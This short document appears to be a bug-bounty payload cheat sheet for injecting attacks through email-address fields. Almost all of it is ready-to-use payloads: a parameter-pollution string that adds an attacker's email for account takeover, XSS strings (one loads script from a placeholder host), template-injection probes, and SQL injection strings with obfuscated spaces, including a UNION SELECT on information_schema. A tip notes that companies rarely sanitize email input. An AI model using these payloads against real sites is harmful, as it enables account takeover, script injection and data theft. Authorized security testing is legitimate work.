Copy user[email][]=valid@email.com&user[email][]=attacker@email.com
Copy "<script src=//xsshere?"@email.com
Copy "><Svg/OnLoad=alert(1)>"@gmail.com
"><svg/onload=confirm(1)>"@x.y
Copy test+(<script>alert(0)</script>)@example.com XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).
Copy test+${{7*7}}@example.com
test+(${{7*7}})@example.com
Copy john.doe+intigriti' or/**/1/**/=/**/--@example.com
Copy johne.doe+intigriti'/**/or/**/1/**/=/**/1/**/--@example.com
Copy test+intigiriti'/**/union/**/select/**/table_name/**/from/**/information_schema.tables--@test.test 
